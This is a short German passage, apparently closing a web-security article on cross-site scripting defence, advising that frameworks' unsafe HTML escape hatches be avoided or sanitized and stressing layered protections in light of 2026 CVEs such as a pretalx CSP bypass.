  7. In Frameworks: die Escape-Hatches dangerouslySetInnerHTML, bypassSecurityTrust* und v-html konsequent meiden oder nur mit Sanitizing verwenden.

Die aktuellen CVEs aus 2026, allen voran der pretalx-Fall, in dem eine vorhandene CSP umgangen wurde, führen die wichtigste Lektion vor Augen: Schutzmaßnahmen wirken nur, wenn sie korrekt konfiguriert und kombiniert werden. Genau diese Abwehr in der Tiefe macht aus einer verwundbaren Anwendung eine robuste.